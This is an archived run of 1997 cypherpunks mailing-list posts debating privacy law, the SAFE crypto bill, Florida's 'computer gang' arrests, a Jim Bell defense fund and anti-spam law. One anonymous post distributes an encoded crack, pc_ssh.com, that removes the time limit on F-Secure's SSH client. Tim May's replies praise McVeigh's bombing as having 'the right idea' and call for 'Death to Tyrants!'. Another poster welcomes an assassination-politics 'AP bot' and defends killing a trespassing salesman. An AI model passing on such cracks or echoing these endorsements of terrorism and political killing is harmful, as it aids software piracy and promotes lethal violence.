MIME-Version: 1.0
Content-Type: text/plain


A few points:

* I wrote about this in my Netly piece on Friday:
  http://cgi.pathfinder.com/netly/opinion/0,1042,997,00.html

* The state attorney declined to prosecute, saying the law was
unconstitutional. He was talking primarily about the "defamation" law, not
the gang law, but I think he realized both are. 

* Cypherpunks should pay attention to laws like this, not because of the
threat of indictment, but because of the implications for anonymity. Read
my article. The Florida law criminalizes truthful anonymous speech; it
also required a True Name and True Mailing Address.

-Declan


On Sat, 31 May 1997, Tim May wrote:

> 
> Someone forwarded this item to me. As he didn't cc: the list on it, I'll
> protect his identity. Could be he's understandably worried about who's
> reading the list.
> 
> This item indicates that the same team that busted this "gang" could indict
> several of us as "co-conspirators" (isn't this a redundancy?) along with
> Bell.
> 
> Lock and load.
> 
> --Tim
> 
> 
> >Date: Sat, 31 May 1997 21:23:20 -0700
> >To: tcmay@got.net
> >From: xxxxx
> >Subject: You've got to be kidding....
> >
> >Tim --
> >
> >For your grist of stupid, selectively enforced laws:
> >(from comp.risks 19.20)
> >
> >>Date: Fri, 30 May 1997 03:45:10 -0400
> >>From: David Kennedy <76702.3557@compuserve.com>
> >>Subject: Florida "Computer Gang" Members Arrested
> >>
> >>Courtesy of United Press International via CompuServe's Executive News
> >>Service:
> >>
> >>> Florida computer gang members arrested
> >>
> >>> LECANTO, Fla., 22 May 1997 (UPI) -- Florida authorities have arrested two
> >>> alleged leaders of a so-called computer "gang" they say set up a Web site
> >>> that accused a teacher of having a homosexual affair with a student.  The
> >>> Web site displayed a photograph of the student's prom picture with the
> >>> teacher's head superimposed onto the head of the boy's female date.
> >>
> >>:: Two 19 year olds were charged with "publication of material that exposes
> >>a person to hatred, contempt or ridicule."  Because they worked together,
> >>anti-gang laws apply upgrading the charges from misdemeanors to felonies.
> >>
> >>:: The victim-teacher has been the target of harassment before, another
> >>former student was sentenced to 6 months' probation last December.
> >>
> >>Dave Kennedy [CISSP] Research Team Chief, National Computer Security Assoc.
> >
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 23:07:11 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <v03007800afb738d67b0d@[207.172.46.21]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:27 PM -0400 5/31/97, Tim May wrote:
>At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:
>One of the biggest problems with critics of libertarian theories is that
>they falsely claim libertarians believe that each and every action during
>each and every day by each and every agent involves complex contracts.
>
>What we are talking about here is whether there's a need for new laws to,
>using your specific example, stop companies from asking for personal
>information.

You argued that such safeguards were routiney found in freely
negotiated contracts. I responded that such safeguards were
more likely found in legal arrangements, industry standards,
and professional obligations.

>What libertarians, and hopefully other freedom-seeking people, would argue
>is that government should not be interjected into mutual negotiations if at
>all possible. This applies to Alice and Bob negotiating some transaction,
>and it applies to Alice and Safeway, and to Safeway and Apple.

Again, I don't disagree with the aspiration. We simply disagree
on how well it works on practice.

>
>Citing the straw man that libertarians believe every driver must negotiate
>a contract about how his brakes are to work has nothing to do with this
>basic point.
>

It has a lot to do with privacy standards on the net, the
role of markets, and the way safeguards will develop.

>
>As for the "rights of the people to use strong crypto," there are currently
>no restrictions *whatsoever* on crypto use. SAFE will, of course, add a
>criminalization angle to crypto use, which is a step in the wrong
>direction. Once the Legislature gets its hands on crypto use at all, the
>way is made easier for later extensions and clarifications of  the rules.
>Imagine the equivalent situation with free speech or religion: "No American
>may be denied access to the religious beliefs of his choosing, but the
>practice of non-Christian religious acts in connection with another crime
>will expose the pagan to a mandatory 5-year increase in imprisonment."

That's a fair criticism. EPIC and ACLU are still prepared to oppose SAFE.
For the record, EPIC was the group that opposed the criminaliation
provision, and organized (with the ACLU) the effort to change it. We
had a big problem with other DC groups who (a) didn't want to
even publicize the issue and (b) discouraged companies and
individuals from supporting our effort.

But I'm not thrilled about it, and I won't bullshit you that
it was some brilliant compromise. We did as much as we could.
We'll try to do more.

>
>A better tack is to take a rejectionist, no compromise stance toward any
>proposed legislation which would in any way limit or criminalize crypto
>use. Rely on the First Amendment.

We may still do this. And it's exactly what we did during the
debate on Digital Telephony.

>
>This would leave EPIC, VTW, CPSR, EFF, etc. with very little to do, of
>course, but that is as it should be.

IF NSA, FBI etc are going to being around, we'll be around. And who,
btw, do you think is going to bring those First Amendment cases to
protect Constitutional rights?

>
>But, then, I quit the NRA because they were too namby pamby about the
>Second Amendment. I place more faith in my assault rifles than I do in the
>criminals in D.C. McVeigh may have killed too many innocents, looking back
>on OKC, but he generally had the right idea about hitting the power centers
>of the police state.

You lost me on that one. I've lived in one of the highest crime
districts in the country. I've had handguns waved in my face. I've
seen children lying dead in the street from gunfine.  I have no
sympathy at all for the turret-hole view of the world.

But I accept your right to express your views and will defend
that right against any government that seeks to limit your
rights.

That is my view of what the First Amendment is about.

Marc Rotenberg.



==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 2 Jun 1997 00:48:50 +0800
To: cypherpunks@manifold.algebra.com
Subject: Jim Bell Defense fund
Message-ID: <199706011641.LAA08290@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I guess everyone has forgotten about Jim Bell, but he is in no less
need of help than he used to be.

I would like to know how to help him, and suggest to organize his
legal defense fund.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 2 Jun 1997 03:06:31 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <19970601114728.28561@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
> This law is unenforceable.  If you want to rent porn videos and you have
> some brains (the two may be mutually exclusive...) you'd pay cash and
> make the transaction totally anonymous.
> 
> Should there also be a law against grocers keeping track of who's buying what?

Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
would be out of business shortly as their stock would never be
returned.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 08:17:52 +0800
To: cypherpunks@algebra.com
Subject: Re: Tell the Fans, Not the Players / Was--Re: Rotenberg as the Uber , Enemy
In-Reply-To: <199706010558.BAA18210@dhp.com>
Message-ID: <Pine.LNX.3.91.970601123750.809B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> >a bunch of political rhetoric isn't worth much. And if
> >you don't think we're not busting our butt to protect
> >the rights of people to use strong crypto, you have no
> >idea what's going on.
> 
>   I think it would be more appropriate to say that you are *selling*
> your ass. Excuse me all to hell if my heart doesn't bleed purple piss
> for your heroic efforts for the "rights of people" but I would prefer
> for all of the time, money and effort people are putting into trying
> to get the government *not* to fuck me, when they are going to do so
> anyway, be put instead into developing technology to enable myself and
> others to route around the damage caused by government.

Quite, I think we have seen recently that even if these organisations are 
not corrupt, and have the genuine interest of citizens in mind, they 
still end up "playing the game" with the system. It is inevitable for 
them to try to compromise, there can be no compromise.

>   If the same amount of money that is spent on lobbying to get the
> "least-bad law possible" passed was put into cypherpunk projects, then
> before the President proposed crypto regulations he would have to 
> decide if it was really important enough to him to put up with the
> whithouse.gov site receiving 10 billion emails with "Fuck Clinton" in 
> the subject header.

As soon as fully anonymous digital cash systems are widely available and 
we have moved further along the road to creating censor-proof sites we 
will see the creation of the first AP bot, we all know the outcome.

>   Don't hold your breath waiting for me to join in the applause for
> your support of legislation compromising my privacy and freedom. As far
> as I am concerned, most organizations with the word "Freedom" in their
> name are a worse scourge than the politicians. They end up becoming
> self-important whores that the government uses to get a showcase stamp
> of approval on bad legislation.

This is another good point that often gets forgotten, strangely, most 
citizens don`t mind having a red hot poker stuck up their ass as long as 
it has "EFF red poker campaign" printed on the handle.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 2 Jun 1997 04:22:38 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell defense fund
Message-ID: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain



Has anyone talked to Jim to find out what he wants? I wouldn't be surprised
if he wants to represent himself without the assistance/interference of an
attorney. (I think that'd be a big mistake, but he's an adult and should be
allowed to make his own choices.) 

Is he currently represented by a court-appointed attorney? Are they working
out of the federal public defender's office, or are they in private
practice? I'm not familiar with the Tacoma federal PD's office (nor am I
sure that one exists) but the federal public defenders in Oregon typically
did a pretty good job for their clients, frequently better than that
available from the cheaper/less experienced end of the spectrum in the
private bar. A court-appointed attorney may also be more familiar
with/comfortable with clients who want to take an active part in their
defense. (Sometimes, defendants will choose to represent themseves, but
with the aid of an attorney to help them understand courtroom
protocol/procedure, and to give help/advice with the trickier issues.)

It's also possible that organizing only a small defense fund will turn out
to be worse than no defense fund, if it eliminates his eligibility for an
appointed attorney but fails to generate enough money to attract a good
private attorney. If the government really wants to screw him, forcing him
to represent himself or be represented by someone inexperienced or
uninterested or underfunded seems like a good way to do that. My hunch is
that an attorney from the private bar will want somewhere between $15K and
$30K to take this to trial, could be higher. Someone who asks for a lot
less probably doesn't intend to do very much work, unless they're doing it
on a pro bono basis. 

If people are serious about this, I suggest getting in touch with Jim or
his family to see if it's actually helpful/useful, and setting it up such
that any money raised goes directly to the attorney, not to Jim or his
family. (not because I don't think they're trustworthy, but because gaining
extra cash/assets may make him ineligible for a court-appointed attorney -
but if the cash/assets aren't available to him because they're being held
by some unconnected cypherpunk, it'd be much harder/impossible to deny him
appointed counsel.) Also, given Jim's tax status, it's possible that the
IRS will try to seize/levy against any funds that come into Jim's control,
which would turn the "defense fund" into the "pay Jim's taxes fund". 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 08:19:45 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199706010352.UAA26328@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970601124448.809C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Sure it is unpleasant to have your privacy violated, but it is your own
> > choice whether you allow information to become available or not.
> 
>   Theoretical bullshit. 

Theoretical truth.

>   Your choice is to not work, not go on welfare, not drive, not get a
> telephone, not be born in a hospital...ad infinitum.

Yes, however, this ignores the fact that in a less restrictive society 
not so many of these actions would involve releasing personal 
information, also, in a police state such as we see today, it is, in many 
cases, mandatory to provide *TRUE* details on request by certain people. 
Of course the right to free speech implies the right to lie, and further 
by providing false details I take no act of agression against anyone, 
therefore, in an anarchist or NAP derived minarchist system it would not 
be a crime to give false details.

>   Even then, when you are arrested for trespassing on private land or
> misuse of public land for those grubs and worms you ate, the government
> will take your fingerprints and attach an identity to them. When you
> return to your cave, the postman will be waiting at the entrance to
> deliver the "Worms R Us" snailmail spam.

Then change that identity, or have a false one attached to those prints.

I am not talking about privacy under a totalitarian state, I am talking 
about privacy in an anarchy, or possibly a minarchist state.

> >  All true law within anarchist, and indeed much minarchist belief derives 
> > from the non agression principle, by making use of freely available 
> > information about you I do not initiate violence against you, therefore I 
> > am guilty of no crime.
> 
>   Everyone seems to neglect recognizing that most of the proclaimed
> "freely available information" is the result of coercion of one kind
> or another.
>   "If you want a driver's license so that you can earn a decent
> living, then you must give us your social security number so that
> we can make sure that you get your fair share of junk mail and 
> spam. If you drive without a license, men with guns will lock you
> in a cage."

Currently yes, in an anarchist system the road system would be 
privatised, it would be the job of the owners of each part of the system 
to decide whether they wanted to require licences or not, if they asked 
for personal information before granting a licence, and you did not want 
to give it, lie... If you don`t like having to do this, build your own 
roads. Anarchist societies are not utopian societies, freedom doesn`t 
come cheap, and under any free system life is a lot harder.  

If one large corporate entity were to own the entire road system, and 
were to run it as it is currently run, as you describe above, then you 
would have a choice, build your own roads, buy the current ones, drive, 
or don`t drive. Sure it is a choice between a small red hot poker up the 
ass and a large one, but that`s just the way it is. The right to live in 
a free society does not imply the right to live happily. 

>   Try dumping your garbage on other people's doorstep and telling
> them that you haven't initiated violence against them and are thus
> guilty of no crime. Sell "freely available" information about other
> people's children to convicted child molesters and then explain the
> same thing to the parents.

The first is of course an act of trespass, the second, although an 
unpleasant act is no crime, we must be careful about calling the right to 
absolute freedom of speech "theoretical", this is a dangerous step indeed.

If the parents don`t like this they can get a clue and defend their 
children from the real threat: the child molester. Treating speech in 
this way, ie. saying that it is wrong (a violation of the NAP) to tell 
the convicted child molester the information about the children, is a 
form of material determinism.

>   Why don't the people who send out spam go out ringing people's
> doorbells at 4 a.m. to tell them how to "Make Big $$$"?  It is
> because they would be held personally accountable for the effect
> their actions have on the lives of others. They can explain until
> they are blue in the face about their right to be an asshole who
> is intruding in my life but they are unlikely to convince me to
> put up with it without acting in a manner they find offensive.

No, their ringing of my doorbell at 4am would be an act of trespass, if 
they trespassed on my land and upset me they can expect me to react in 
kind. 

Telephoning me at 4am is a different matter, as it is not an act of 
trespass, therefore, we use technological means to combat such 
anti-social behaviour.

>   I enjoy many of the posts on anarchy by Paul and others but I
> think most of the concepts are valuable mainly as personal standards
> one applies to their own life.
>   You can explain to the guy who slashes your tires that you had
> a right to ring his doorbell at 4 a.m. to try to sell him your
> product but he had no right to slash your tires. You will be right,
> but so what?

I too enjoy your posts, but I must stick to my own position, I am maybe 
guilty of being excessively idealistic, but I believe this is the only 
way to have a strong and morally right set of laws.

<theory>
The guy that rings my doorbell at 4am trespasses onto my land to ring 
that doorbell, he makes use of my doorbell, he uses my electricity, and 
stands on my front doorstep.
</theory>

Practically speaking though, I would not mind any of this if he were to 
do it at a sociable hour, is there such a thing as an enforcable social 
contract that says salesmen may only ring doorbells at sociable hours? 
(whatever they are).
 
I don`t believe there is any such thing as an implicit contract in this 
sense, the next bit is important though: EVEN IF the salesman arrives at 
a sociable hour and rings my doorbell, he has STILL commited an act of 
trespass against me, it is simply the case that because he has had the 
courtesy to arrive at a reasonable time I have chosen to take no 
defensive action. What if he arrives at a reasonable time, and acts 
courteously towards me, and I shoot him dead on the spot? It`s certainly 
an extreme action, and this is what makes a lot of people react in horror 
when they fully understand the NAP, but I don`t believe it would be wrong 
per se. Certainly I would regard anyone reacting as such as a loon, but 
the salesman CHOSE to commit the act of trespass, he certainly wouldn`t 
have imagined I might kill him for it, but he was not forced to take that 
act.


>   If Tim McVeigh beats the rap and returns to society, I'm going to
> buy him a computer and an email account and then give the address
> to CyberPromo. I am sure he will understand the issues of anarchy
> and free enterprise involved, and act in accordance with the
> dictates of his own conscience.	

Any action against cyberpromo is an act of agression, but I won`t get 
into a flame war with anyone over this, least of all you TM/CJP, as I 
believe we are essentially of the same persuation, and I wouldn`t like to 
see an unproductive and unpleasant pissing contest over it.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 2 Jun 1997 03:31:13 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <19970601114728.28561@bywater.songbird.com>
Message-ID: <199706011918.OAA10829@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Kent Crispin wrote:
> 
> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
> > This law is unenforceable.  If you want to rent porn videos and you have
> > some brains (the two may be mutually exclusive...) you'd pay cash and
> > make the transaction totally anonymous.
> > 
> > Should there also be a law against grocers keeping track of who's buying what?
> 
> Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
> would be out of business shortly as their stock would never be
> returned.

Kent, the rental shops may ask for a collateral that is returned when
the renter brings the videos back.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 1 Jun 1997 23:15:30 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970601142025.3960.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


http://www.datafellows.com/gallery/

F-Secure SSH 1.0 Windows Client


pc_ssh.com - removes time-limit. Copy into SSH-directory and execute.

pc_ssh.com in ASCII:


-----BEGIN PGP MESSAGE-----
Version: 2.6.2

owFbczSJqyA5vrg4Qy85P5cBCPYlML6wZ9hiu4FpVwjjWcUihcUxjFucNjB0y8Uw
7joTsJOB4aziFoedTAy74oDSr7kn7OtlfMHHsMXnrOK+5YwvWMCsLhG3hl8MJWxb
mIBKPh0ODvbQc41wBZr+uvSfgptucGpyaVGqAlBYocxQz0DBuSgxOVtBV1ehKrMo
OT9PQV+hINnSnJeL4Z+Ca1FRfpGCf0FqXmZeugLUILCMc35uQU5qSaoikAcA
=KINJ
-----END PGP MESSAGE-----


WarezMonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 2 Jun 1997 04:20:46 +0800
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199706011918.OAA10829@manifold.algebra.com>
Message-ID: <199706012003.PAA03975@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706011918.OAA10829@manifold.algebra.com>, on 06/01/97 
   at 02:18 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Kent Crispin wrote:
>> 
>> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
>> > This law is unenforceable.  If you want to rent porn videos and you have
>> > some brains (the two may be mutually exclusive...) you'd pay cash and
>> > make the transaction totally anonymous.
>> > 
>> > Should there also be a law against grocers keeping track of who's buying what?
>> 
>> Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
>> would be out of business shortly as their stock would never be
>> returned.

>Kent, the rental shops may ask for a collateral that is returned when the
>renter brings the videos back.

Have pitty on poor Kent Igor,

After lifelong support of Socialism and worship of the STATE has left him
incapable of rational thought on such matters.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCUAwUBM5HWRY9Co1n+aLhhAQGGYwP3YwjkVfg3p7T2IwmFVMZnGOuIqOjufG3Q
JoMpzpcD+YgUKDtoAIWul1/sKoPDN1SbCXPcvzsWXCdVSDwCkSs8IR1Eb31iuD5h
h+E9AoJXavQvfNHzeE01AGn0wgMUe1GeIOrnCJOOdQzMfM3yfTRVFLIVNUZ5mspD
uOcPgCguJA==
=kmdJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Mon, 2 Jun 1997 07:22:01 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199705311944.OAA23276@mailhub.amaranth.com>
Message-ID: <2372.865205390@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

|It's an intresting side note that the reason why the Cell Phones in this
|country do not use strong crypto is because of the intervention of the FCC
|and associated Federal LEA's.

Not that it would have mattered except to scanner owners with too much time
on their hands.  The LEAs can intercept at the cellular base station where
the air segment traffic is decrypted.  This is true for GSM, TDMA, and
CDMA.  True security requires end-to-end encryption.  While slightly
possible for mobile-to-mobile calls where each phone has the encryption
engine, it all breaks down if the base station doesn't preserve a digital
pathway all the way through.  Most base stations do tandem vocoding for
mobile-to-mobile connections as it's the easiest engineering solution.

For mobile-to-landline, the landline options are decidely minimal.  If you
go with STU-III you have the problem of a fixed-rate 4800 baud modulation
sucking up bandwidth.  That could be put in the base station but then the
path is no longer end-to-end.

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 2 Jun 1997 05:17:44 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <19970601114728.28561@bywater.songbird.com>
Message-ID: <8y1m8D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
> > This law is unenforceable.  If you want to rent porn videos and you have
> > some brains (the two may be mutually exclusive...) you'd pay cash and
> > make the transaction totally anonymous.
> >
> > Should there also be a law against grocers keeping track of who's buying wh
>
> Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
> would be out of business shortly as their stock would never be
> returned.

Kent, you're a lying asshole.

It's been a while since I rented any videos (got better uses for my time),
but one used to be able to plonk down $50 cash, rent a video, bring it back
w/ bearer receipt, and get one's $50 back (minus the $1-2 for the rental)

If someone decides keep the used video, the cash deposit more than
covers the replacement.

I believe this mode of operation is still very common in NYC, where lots of
folks don't have credit cards, don't have permanent addresses, or don't
want their viewing habits known.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 2 Jun 1997 08:17:27 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102808afb696432bfa@[207.167.93.63]>
Message-ID: <v03102800afb7ba21be7b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:03 PM -0700 6/1/97, Robert A. Costner wrote:

>Why does the store need my social security number for me to purchase soft
>drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.
>If I provide a false number, I have probably committed some crime.

Why does the store "need" to sell Yahoo but not RC Cola? Why does the store
"need" to place the eggs back in the dairy department instead of in the
bacon and sausage department? Why does the store "need" to do the things it
does?

Because the store is owned by its owners, not the shoppers, not the courts,
and not the legislatures.

What it does, or what it asks for, are its business, and the business of
its shareholders, managers, etc. Pressure from the customers may of course
cause policy changes, but this should not be confused with the passage of
laws.

As should be well known by now, such "consumer clubs" are modern marketing
gimmicks to a) encourage repeat business, and b) provide a discount to
locals without also providing a discount to "walk-ins" (travellers,
tourists, etc.).

I have no idea why they want a SS number, except perhaps that they see
every government office demanding it and so they think it is part of the ID
process. I of course would not give it. One is always free to turn down
their offer of a 40 cent discount on eggs. Sounds fair to me.

>Yes, I would support a law that forbids private companies to ask for social
>security numbers except for tax purposes.

To put it as politely as I can manage, you have no conception of what it
means to live in a free, uncoerced society.

No wonder the EFF is so fucked up.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 2 Jun 1997 05:58:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531101055.00789c88@keystone.intergate.net>
Message-ID: <3.0.2.32.19970601174739.033dda20@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Myself, and EFGA supports no anti-spam law at this time, nor have we suggested 
the world needs one.  Over the last year we have repeatedly said that existing 
laws may prove to be sufficent.  What is clear is that there has been little 
attempt at using today's laws against spam and failing.  If EFGA has a 
position, it is that first the current laws should be tested against spam.  No 
new laws should be proposed until today's laws can be shown to be useless 
against the problem.

To the contrary, Cyberpromotions has been to court five times, and has lost 
five times.  These are not internet issues as much as they are fraud, consumer 
protection, and commerce issues.  Education of applicability of existing laws 
may be more effective than new laws.

New laws are being proposed.  And I feel comfortable commenting on the faults 
of a law, or of it's languge.  I can suggest what is wrong with a law, or what 
it lacks without supporting a flawed bill.

  DATA GATHERING

The original issue is one of data collection.  For many, this is the opt-in, 
opt-out argument.  For others it is adherence to a convention such as the 
robots.txt file found on web pages.  While there is nothing wrong with data 
harvesting in it's self, what one does with the info may be called into 
question.

The currently proposed bills look at various areas.

  1.  Identification
  2.  Content
  3.  Data Collection procedures
  4.  Tonnage/automated processing

Data Collection procedures may be less restrictive than identification 
requirements, or content bans.

There is a law precedent in the Telephone Consumer Protection Act (TCPA) of 
1991 to handle each of these issues.  For data collection, the TCPA requires a 
removal database be maintained and an opt-out strategy be employed.  One of 
the largest problems with "spam" is that the data collection strategies 
employed today are deceptive, fraudulent, and do not come close to fitting the 
model carefully considered in the TCPA.

The reason the TCPA is carefully considered is that once the law allowed for 
the promulgation of rules, the FCC had a series of public comment periods and 
promoted rules that highly favored privacy while trying to balance the fair 
practices of telemarketers.  Unfortunately, with spam, most spammers do not 
have "fair practices".

If is highly likely that the spam question could be quickly addressed and more 
clearly defined without new laws simply by a comment period and the 
promulgation of new rules.

Additional comments after Tim's quote....

At 09:28 AM 5/31/97 -0700, Tim May wrote:
>If it is "ILLEGAL" (your emphasis) for someone to call me on the phone for
>spamming, why then do I get so many such calls? Why aren't the prisons full?
>
>(Answer: Because it is NOT illegal for people to call me, or for me to call
>others, or for me to even call thousands of others. True, it is possible
>for me (I disagree with these laws, though, and cite the First again) for
>me to _ask_ that they not call me. Maybe even jump through hoops and get an
>injunction. )
>
>There are laws on the books which prohibit fully automated calls with no
>humans in the loop, but these are easily bypassed. (E.g., the boiler-room
>minimum wage employees in Detroit and Chicago who pick up the phone several
>seconds after I have picked up and then start a barely understandable
>spiel...I've prettty much taken to hanging up if no human voice appears
>within the first couple of seconds, as I know I am being handed off to the
>next available "human.")

Well, prisons *are* full.  Many of the inmates are telemarketers.  But this is 
not because of telemarketing laws.  You are confusing "illegal" with 
"criminal".  The laws we refer to are civil law, not criminal law.  47 USC 227 
is a federal civil law.  It also allows for state Attorney Generals to file 
civil suits on behalf of it's citizens.  This, if not taken to extreme, is a 
proper function of gov't.  To protect citizens from that which they cannot 
protect themselves.

Why do you get such calls?  The existing laws not only apply to fully 
automatic calls, but predictive dialing systems such as you mention and pure 
manual voice calls.  I cannot answer why you get the calls.  Perhaps you have 
not requested to be in the national "don't call me database".  Perhaps your 
callers just use illegal data collection procedures.  I'll summarize some of 
the law to you.  The Telephone Consumer Protection Act (TCPA) of 1991 made 
effective December 1992 the following:

1.  Calls only allowed 8am to 9pm
2.  Lists must be maintained of "do not want to be called"
3.  Telemarketers must identify themselves - address & phone number
4.  Employees must know rules & know how to use remove list.

Additional info can be found at 
http://www.fcc.gov/Bureaus/Common_Carrier/Orders/1995/fcc95310.txt

Quote from the Act:  
    Because unrestricted telemarketing can be an invasion of 
    consumer privacy, and even a risk to public safety, Congress
    found that a federal law is necessary to control 
    telemarketing practices.

SPAM vs TELEMARKETING

A telemarketing operation has a high level of entry.  Not that high, but phone 
lines, desks, office space, employees. etc must all be provisioned and paid 
for.  The level of entry for being a spammer is much, much lower.  For some it 
may be a dedicated connection, but millions of spams can still be sent with a 
dial-up account.  Accordingly, EFGA sees that the number of spammers could 
